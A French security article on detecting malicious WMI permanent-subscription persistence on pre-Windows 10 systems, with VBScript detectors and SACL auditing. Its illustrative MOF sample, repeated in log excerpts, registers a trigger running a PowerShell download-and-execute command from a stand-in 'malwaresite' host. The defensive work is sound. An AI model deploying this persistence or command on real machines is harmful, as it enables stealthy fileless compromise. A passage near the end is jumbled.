Les mécanismes de démarrage automatique de programme disponibles sous Windows sont nombreux. Le nombre d’onglets de l’outil Microsoft « Autoruns » suffit pour s’en convaincre. Parmi ceux-ci, l’utilisation de la technologie WMI (Windows Management Instrumentation) à des fins de persistance malveillante semble prendre de l’importance depuis quelques années. Rappelons qu’un tel mécanisme implique un contexte post-compromission (avec privilèges administrateur dans le cas présent). La persistance WMI a été abordée dans un précédent article de MISC n°80 (« WMI : la menace silencieuse ») qui permet de prendre la mesure des limites de la journalisation standard à des fins de détection. En effet, le challenge n’est pas tant de détecter cette persistance lors d’une analyse sur incident : des méthodes et outils existent pour l’identifier (si elle est toujours active). La véritable difficulté est de pouvoir alimenter facilement un SIEM afin de la détecter lors de son installation et permettre une réaction avant que la bombe logique n’explose. Seul Windows 10 marque une avancée dans ce domaine et en permet une détection native. L’article présente un axe d’amélioration possible pour les versions antérieures de Windows, permettant d’être plus réactif vis-à-vis de cette menace.
1. WMI en bref
En tant que technologie d’instrumentation, WMI permet de superviser et modifier l’état de nombreuses ressources gérées par le système d’exploitation Windows (de la couche matérielle à la couche application) et ce, localement ou à distance (via DCOM ou WinRM). Elle permet donc naturellement de réaliser des inventaires (les inventaires SCCM utilisent WMI par exemple) et la modification des objets permet une administration locale ou distante des postes et serveurs Windows. Installée en standard sur toutes les versions de Windows depuis Windows 2000, on comprend l’intérêt que WMI représente pour un attaquant.
Une ressource est décrite sous forme de classe (attributs/méthodes) et pour manipuler cette ressource (obtenir des informations ou modifier son état), on instancie la classe associée.
Les classes sont fournies soit par des « providers » (composant COM), soit directement par WMI (classes internes dites « systèmes » nécessaires au fonctionnement de WMI) et sont organisées dans une arborescence hiérarchique de namespaces au sein du repository WMI.
Les applications « clientes » souhaitant gérer les ressources à travers WMI peuvent être développées sous divers langages de programmation (VBScript, PowerShell, C++,…) disposant d’une API pour WMI.
Pour mieux appréhender ces concepts théoriques, l’utilisation de wbemtest.exe (installé en standard sous Windows) ou d’autres outils comme WMI Explorer [1] est conseillée.
2. Persistance WMI
WMI gère également des événements (sous forme d’instances de classes d’événements) qui représentent des changements d’états des ressources du système d'exploitation ou du repository WMI lui-même. Il est possible de s’abonner de manière permanente (qui persiste au reboot) à des événements et déclencher une réaction automatique préalablement configurée. Ce mécanisme d’abonnement permanent, détourné par la malveillance informatique est connu sous le nom de persistance WMI. WMI permet en effet de réaliser de véritables bombes logiques (codes malveillants qui se déclencheront sur un événement particulier). Une particularité du mécanisme réside dans le fait que la charge peut être enregistrée directement dans le repository WMI, ce qui permet de réaliser une attaque dite « fileless », car aucun nouveau fichier n’est créé sur le système de fichiers infecté.
Techniquement, mettre en œuvre un abonnement permanent consiste au sein d’un namespace à instancier :
- la classe système __EventFilter : une requête WQL (SQL for WMI) sur le ou les événements à surveiller est configurée dans cette instance (« trigger ») ;
- une classe dérivée de la classe système __EventConsumer : l’action à réaliser (exécution de script/binaire, journalisation…) est configurée dans cette instance (« charge ») ;
- la classe système __FilterToConsumerBinding : la mise en relation du « trigger » et de la « charge » est configurée dans cette instance.
Pour illustrer le mécanisme, le fichier suivant écrit en langage MOF [2] présente un exemple de persistance (un script PowerShell ou VBScript aurait pu aussi être utilisé).
#pragma namespace ("\\\\.\\Root\\subscription")
instance of __EventFilter as $filter
{
EventNamespace = "Root\\Cimv2";
Name = "MyFilter";
Query="SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Year = 2017 AND TargetInstance.Month=6 AND TargetInstance.Day=1 TargetInstance.Hour=8 AND TargetInstance.Minute=0 AND TargetInstance.Second=0 ";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $consumer
{
Name = "MyConsumer";
CommandLineTemplate = "powershell.exe -exec bypass -Command \"IEX ((New-Object Net.WebClient).DownloadString('https://malwaresite/ex.ps1'))\" ";
RunInteractively = False;
};
instance of __FiltertoConsumerBinding
{
Consumer = $consumer;
Filter = $filter;
};
Une fois compilé par le binaire mofcomp.exe, un tel script configure une demande d’exécution d’un script PowerShell téléchargé depuis un site web pour le 01/06/2017 à 08:00:00.
3. Comprendre l'attaque
Il est important de rappeler quelques points essentiels pour bien cerner l'attaque de persistance WMI.
La mise en œuvre d’un mécanisme d’abonnement permanent nécessite par défaut les droits administrateurs sur le poste.
Les trois objets instanciés doivent être enregistrés au sein du même namespace (dans l'exemple, root\subscription). Le support « cross-namespace » par la classe __FilterToConsumerBinding n’est possible que si l’association concerne deux objets statiques. Or la classe CommandLineEventConsumer (comme toutes les autres classes d'eventconsumer) est une classe dynamique, fournie par le provider du même nom qui est défini dans le fichier wbemscons.mof et implémenté par la dll wbemcons.dll (cf. [3]).
La requête WQL associée à l’instance de la classe __EventFilter supporte le « cross-namespace » (via l'attribut EventNamespace) : on peut s’abonner à un événement concernant un objet situé dans un autre namespace. Dans l’exemple, le filtre est instancié dans le namespace root\subscription, mais s’abonne à un événement de modification (__InstanceModificationEvent) du « temps » représenté par la classe Win32_LocalTime présente dans le namespace root\cimv2.
Les classes systèmes (reconnaissables au préfixe «__») liées à la gestion des événements sont présentes dans tous les namespaces (et tout nouveau namespace).
Windows fournit en standard des classes dérivant la classe __EventConsumer que l’on peut instancier pour réaliser une action automatique sur réception d’événements (cf. [4]). On peut citer, en exemple :
- ActiveScriptEventConsumer : permet d’exécuter un script VBScript ou JScript qui peut être embarqué directement dans le repository WMI (voir l’exemple [5]) ;
- CommandLineEventConsumer : permet de lancer un exécutable présent sur le disque, utilisé dans notre exemple ;
- NTEventLogEventConsumer : permet de journaliser une information dans le journal « Application ».
Ces classes sont compilées par défaut dans différents namespaces (dépendant de la version du système), mais a minima dans root\subscription.
Sous Windows 7 par exemple, on les retrouve également dans le namespace root\default. La commande suivante permet de vérifier les namespaces où la classe CommandLineEventconsumer est disponible :
Get-WMIObject -Namespace root -Class CommandLineEventConsumer -List –Recurse | Select __NAMESPACE
__NAMESPACE
-----------
ROOT\subscription
ROOT\DEFAULT
L’exemple donné au paragraphe 2 aurait donc pu utiliser également le namespace root\default pour réaliser la persistance.
L'attaque n’est cependant pas limitée à l’utilisation de l’un de ces deux namespaces. Dixit la documentation de Microsoft ([6]): « It is recommended that all permanent subscriptions be compiled into the \root\subscription namespace. This prevents the need to compile the permanent consumer into each namespace being used, which means that there is only one namespace to look for permanent subscriptions ».
C'est donc une bonne pratique de travailler dans root\subscription, mais rien n'empêche d'enregistrer dans n'importe quel namespace le provider de l'eventconsumer désiré. Il suffit de regarder le fichier %windir%\system32\wbem\wbemscons.mof pour lire les instanciations nécessaires à ce type d'enregistrement. Il est également possible pour un attaquant de créer son propre namespace avant d'y enregistrer le provider dont il a besoin pour persister.
Détecter efficacement cette persistance revient donc à devoir surveiller tous les namespaces existants (et à minima surveiller la création de nouveaux namespaces).
4. Limites de la détection actuelle
Deux outils sont parfois cités pour détecter le mécanisme de persistance WMI en traitement d'incidents. Le célèbre « Autoruns » de Microsoft et le framework PowerShell de réponse à incidents « Kansa » ([7] [8]).
À l'heure de rédaction de l'article, « Autoruns » ne remonte que les persistances instanciées dans le namespace root\subscription. « Kansa » quant à lui se contentait de la même chose avant une mise à jour en décembre 2016 permettant de remonter les persistances instanciées dans root\default également. Aucun de ces deux outils ne détecte(ait?) donc correctement la menace.
Il reste heureusement très simple d'y remédier, en complétant l'analyse par une recherche exhaustive dans l'ensemble des namespaces, par exemple avec la fonction PowerShell suivante :
Function Get-WmiInstance($Namespace, $Class) {
Get-WMIObject -Namespace $Namespace -Class $Class
Get-WMIObject -Namespace $Namespace -Class __Namespace | % {
Get-WmiInstance -Namespace "$Namespace\$($_.Name)" -Class $Class
}
}
Get-WmiInstance -Namespace root -Class___FilterToConsumerBinding | Select __NAMESPACE,Filter,Consumer
__NAMESPACE Filter Consumer
----------- ------ --------
ROOT\subscription EventFilter.Name="SCM [...]" NTEventLogEventConsumer.Name="SCM [...]"
ROOT\DEFAULT EventFilter.Name="MyFilter" CommandLineEventConsumer.Name="MyConsumer"
En ce qui concerne la détection basée sur une analyse des journaux Windows collectés dans un SIEM par exemple, la difficulté principale provient du fait qu’avant Windows 10, seuls des journaux de trace/debug sont capables de détecter le mécanisme. Or ces journaux ne sont ni activés par défaut, ni collectables directement par exemple par le service standard de collecte des logs Windows : ce sont des fichiers textes dédiés (XP) ou depuis Windows Vista, des fichiers de traces ETW (format binaire du journal « Applications et services » Microsoft-Windows-WMI-Activity/Trace). De plus, les événements remontés dans ce journal de trace ne permettent pas d’avoir les informations détaillées sur la « charge » et le « trigger ».
Seul Windows 10 journalise toutes les informations utiles dans l’événement d'eventid 4861 du journal « Applications et services » Microsoft-Windows-WMI-Activity/Operationnal :
Namespace = //./root/subscription; Eventfilter = "MyFilter" (refer to its activate eventid:5859); Consumer = CommandLineEventConsumer="MyConsumer"; PossibleCause = Binding EventFilter:
instance of __EventFilter
{
CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
EventNamespace = "root\\cimv2";
Name = "MyFilter";
Query="SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Year = 2017 AND TargetInstance.Month=6 AND TargetInstance.Day=1 TargetInstance.Hour=8 AND TargetInstance.Minute=0 AND TargetInstance.Second=0 ";
QueryLanguage = "WQL";
};
Perm. Consumer:
instance of CommandLineEventConsumer
{
CommandLineTemplate = "powershell.exe -exec bypass -Command \"IEX ((New-Object Net.WebClient).DownloadString('https://malwaresite/ex.ps1'))\"";
CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Name = "MyConsumer";
};
5. Améliorations de la détection
5.1 Journalisation WMI
Un axe d'amélioration possible consiste à réaliser une journalisation « custom » en utilisant le même principe d’abonnement permanent, mais cette fois-ci en utilisant le consumer NTEventLogConsumer qui consigne des événements dans le journal « Application ».
Pour détecter la persistance convenablement, il faut s'abonner, pour chaque namespace, aux événements de création (mais également aux événements de modification, dans l’éventualité du détournement d’un objet légitime existant) des objets ci-dessous :
- instance de la classe __EventFilter ;
- instance de toutes classes dérivées de la classe __EventConsumer ;
- instance de la classe __FilterToConsumerBinding.
L’ensemble de ces abonnements (que l’on nommera par la suite « détecteurs ») peut être instancié dans un namespace unique, à partir duquel tous les namespaces sont surveillés.
L’utilisation du VBScript pour définir ces abonnements permet d’avoir un langage supporté, quelles que soient la version et la configuration du système d’exploitation à protéger.
Set objWMIService = GetObject("winmgmts:\\.\root\default")
ADMINISTRATORS_SID = Array(1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0)
' Create an Event Consumer
Set objConsumer = objWMIService.Get("NTEventLogEventConsumer").SpawnInstance_()
objConsumer.Name = "WMI Monitor Subscription Consumer"
objConsumer.Category = 0
objConsumer.EventType = 2
objConsumer.EventID = 8
objConsumer.SourceName = "WSH"
objConsumer.InsertionStringTemplates = Array("Namespace = %__Namespace%; Operation = %__Class%%TargetInstance%")
objConsumer.NumberOfInsertionStrings = 1
objConsumer.CreatorSID = ADMINISTRATORS_SID
' Create an Event Filter
Set objFilter = objWMIService.Get("__EventFilter").SpawnInstance_()
objFilter.Name = "WMI Monitor Subscription Filter"
objFilter.Query = "SELECT * FROM __InstanceOperationEvent WITHIN 300" &_
" WHERE TargetInstance ISA '__EventFilter'" &_
" OR TargetInstance ISA '__EventConsumer'" &_
" OR TargetInstance ISA '__FilterToConsumerBinding'"
objFilter.QueryLanguage = "WQL"
objFilter.EventNamespace = "root\subscription"
objFilter.CreatorSID = ADMINISTRATORS_SID
' Bind the Filter to the Consumer
Set objBinding = objWMIService.Get("__FilterToConsumerBinding").SpawnInstance_()
objBinding.Filter = objFilter.Put_()
objBinding.Consumer = objConsumer.Put_()
objBinding.CreatorSID = ADMINISTRATORS_SID
objBinding.Put_()
Ce code illustre le principe évoqué en journalisant des événements avec l’eventid 8 et l'eventType 2 (niveau « Avertissement »). Il se limite ici à détecter (depuis le namespace root\default) la configuration d’une persistance dans le namespace root\subscription. Le code peut facilement être modifié pour instancier les classes __EventFilter et __FilterToConsumerBinding pour chaque namespace existant. Un seul eventconsumer commun suffit. La requête et le modèle de message de logs sont écrits pour être aussi génériques que possible et ainsi minimiser le nombre d’abonnements à créer. Pour pouvoir surveiller aussi bien la création que la modification d’un objet en une seule requête, le script surveille l’instanciation de la classe parente de ces événements : __InstanceOperationEvent. De la même manière, comme il est possible à l’attaquant de compiler sa propre classe d’eventconsumer, il est plus efficace de surveiller là aussi l’instanciation de la classe parente : __EventConsumer.
Il suffit d’exécuter une seule fois un tel script pour s’abonner aux événements WMI désirés et ainsi créer des détecteurs. L’exécution du code présenté dans le chapitre 2 génère alors trois événements détaillés dans le journal « Application » :
Namespace = \\.\ROOT\subscription; Operation = __InstanceCreationEvent
instance of __EventFilter
{
CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
EventNamespace = "root\\cimv2";
Name = "MyFilter"
Query="SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Year = 2017 AND TargetInstance.Month=6 AND TargetInstance.Day=1 TargetInstance.Hour=8 AND TargetInstance.Minute=0 AND TargetInstance.Second=0 ";
QueryLanguage = "WQL";
};
Namespace = \\.\ROOT\subscription; Operation = __InstanceCreationEvent
instance of CommandLineEventConsumer
{
CommandLineTemplate = "powershell.exe -exec bypass -Command \"IEX ((New-Object Net.WebClient).DownloadString('https://malwaresite/ex.ps1'))\"";
CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Name = "MyConsumer";
};
Namespace = \\.\ROOT\subscription; Operation = __InstanceCreationEvent
instance of __FilterToConsumerBinding
{
Consumer = \\\\.\\root\\subscription:NTEventLogEventConsumer.Name=\MyConsumer\"";
CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0};
Filter = \\\\.\\root\\subscription:__EventFilter.Name=\MyFilter\"";
};
Dans le cas d’un scénario de création d’un nouveau namespace afin d’y réaliser une persistance malveillante, une solution consiste à automatiser la création d’un détecteur en réponse à la création d’un namespace. L’utilisation du consumer ActiveScriptEventConsumer permet d’embarquer un tel script.
5.2 Protection des détecteurs
Le malware ou l’attaquant bénéficiant des droits administrateurs, il est théoriquement capable de supprimer ou altérer les détecteurs avant d’inscrire sa persistance. Il est donc nécessaire d’envisager une protection si l’on souhaite lutter contre ce type de scénario. L’objectif est ici de détecter l’altération ou suppression des détecteurs et de journaliser leur perte d’intégrité.
5.2.1 Via WMI
Il est tout à fait possible de réaliser la détection de l’altération des « détecteurs » en s’appuyant sur de nouveaux « détecteurs » WMI. Pour les différencier des détecteurs initiaux et ne pas semer la confusion, on les appellera (uniquement vis-à-vis de leur fonction) « vérificateurs ». Pour s’assurer de ne rien oublier, il est conseillé d'analyser les dépendances WMI de la détection mise en œuvre. Elle dépend :
- d’un namespace : celui où les détecteurs sont instanciés ;
- d’une classe d'eventconsumer : NtEventLogConsumer ;
- du provider fournissant cette classe : NtEventLogConsumer, instance de __Win32Provider ;
- de l’association de la classe au provider : instance de __EventConsumerProviderRegistration ;
- des classes systèmes __EventFilter et __FilterToConsumerBinding ;
- des instances des classes réalisant la persistance même (les « trios » de détection).
Une solution efficace se doit donc de surveiller l’intégrité de toutes ces dépendances. Cependant, il est important de noter que les classes systèmes ainsi que certains namespaces ne sont pas altérables, ce qui limite la surveillance à l’altération des différentes instances et classes non systèmes.
Techniquement, deux couples de « vérificateurs » peuvent fournir la solution.
Chaque couple est formé d'un vérificateur d'instances (__InstanceOperationEvent) et d'un vérificateur de classes (__ClassOperationEvent). La protection repose sur le principe que chaque couple se surveille mutuellement et que l’un d’eux surveille aussi les détecteurs. Toute suppression/modification se faisant de manière séquentielle, la surveillance mutuelle assure une capacité de journaliser la perte d'intégrité une dernière fois, quel que soit l’ordre de suppression/altération des détecteurs et vérificateurs par un (code) malveillant.
Le premier couple de vérificateurs peut être instancié dans le namespace des détecteurs et surveille le second couple. Le second couple de vérificateurs est instancié dans un autre namespace, dans le but de dissocier les dépendances (namespace, classes, provider, instances) et surveille le premier couple et les détecteurs. Ainsi, toute altération dans la chaîne des dépendances WMI d’un côté, comme de l’autre, est détectée et journalisée.
5.2.2 Via une ACL d'audit (SACL)
La détection de la perte d'intégrité des détecteurs peut être aussi déléguée au mécanisme Windows de SACL (System Access Control List) disponible depuis Windows Vista concernant l'audit d'accès aux namespaces.
L'idée est de configurer un audit d'accès en écriture au seul namespace dans lequel les détecteurs sont instanciés. Si les dépendances listées au paragraphe précédent sont altérées ou supprimées, un événement d'eventid 4662 sera journalisé dans le journal . Seule la suppression totale du namespace ne sera pas journalisée. C'est pour cela qu'il est plus simple de placer les détecteurs dans un namespace non supprimable par un administrateur comme root\default.
La SACL peut être configurée avec le trustee
et les droits audités suivants :-
: toute altération/suppression des objets internes au namespace sera journalisée ;-
: la désactivation de l'audit sera journalisée.Le code suivant permet de positionner la SACL proposée (manuellement, wmimgmt.msc serait utilisé) :
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate,(Security)}!\\.\root\default")
Set objSystemSecurity = objWMIService.Get("__SystemSecurity=@")
Ret = objSystemSecurity.GetSecurityDescriptor(objSD)
Set objTrustee = objWMIService.Get("__Trustee").SpawnInstance_()
objTrustee.Domain = Null
objTrustee.Name = "Everyone"
objTrustee.SIDString = "S-1-1-0"
objTrustee.SID = Array(1,1,0,0,0,0,0,1,0,0,0,0)
objTrustee.SidLength = 12
Set objACE = objWMIService.Get("__ACE").SpawnInstance_()
objACE.Trustee = objTrustee
objACE.AccessMask = &H4 + &H8 + &H10 + &H40000
objACE.AceFlags = &H40
objACE.AceType = 2
If objSD.ControlFlags And &H10 Then
arrSACL = objSD.SACL
Else
arrSACL = Array()
objSD.ControlFlags = objSD.ControlFlags + &H10
End If
ReDim Preserve arrSACL(UBound(arrSACL) + 1)
Set arrSACL(UBound(arrSACL)) = objACE
objSD.SACL = arrSACL
objSystemSecurity.SetSecurityDescriptor(objSD)
Pour pouvoir manipuler les SACLs, le script active d’abord le privilège SeSecurity dans la chaîne de connexion (moniker). Il récupère ensuite le descripteur de sécurité associé au namespace afin de le modifier. La classe __Trustee est instanciée pour identifier le compte à auditer, puis une entrée de contrôle __ACE est créée et insérée dans le tableau des SACLs. Finalement, le nouveau descripteur de sécurité est positionné.
Pour que la SACL soit effective, il faut que la stratégie d'audit système (root\default ne génère pas d’événements récurrents liés à la vie normale du système (à prendre avec les précautions d'usage). Il est tentant de vouloir généraliser la SACL à l'ensemble des namespaces et en faire le mécanisme de détection unique : il faut garder à l'esprit que le niveau de détails des informations remontées via SACL ne vaut pas la journalisation « custom » WMI. De plus, certains namespaces s'avèrent verbeux lors de la vie normale du système notamment par l’activité du compte SYSTEM (qu’il serait « dangereux » pour la protection de ne pas auditer).
) audite la sous-catégorie de la rubrique . L'inquiétude légitime lorsqu'on parle de SACL est sa verbosité. Les tests réalisés montrent que la SACL configurée surConclusion
Mettre en œuvre une détection pro-active de la persistance WMI permet d’ajouter une couche de détection intermédiaire entre celle liée à l’étape de compromission et celle liée à l’exécution de la charge. Cette détection ne peut se limiter à surveiller un ou deux namespaces et quelques providers par défaut, au risque d’être contournée trivialement. On estime qu’une détection efficace peut être mise en place et qu'alors, réaliser une persistance WMI indétectable nécessiterait d’attaquer et persister sur le système en dehors du repository WMI. Déplacer le champ de bataille en quelque sorte, en terrain « mieux » connu…
Références
[1] https://wmie.codeplex.com/releases/view/135794
[2] https://msdn.microsoft.com/en-us/library/aa823192(v=vs.85).aspx
[3] https://msdn.microsoft.com/en-us/library/aa389231(v=vs.85).aspx
[4] https://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx
[5] https://msdn.microsoft.com/en-us/library/aa393250(v=vs.85).aspx
[6] https://msdn.microsoft.com/en-us/library/aa390873(v=vs.85).aspx
[7] Autoruns, https://msdn.microsoft.com/en-us/library/aa390873(v=vs.85).aspx
[8] Kansa, https://github.com/davehull/Kansa
[9] « WhyMi so Sexy ?» Willi Ballenthin, Matt Graeber, Claudiu Teodorescu, DEFCON 23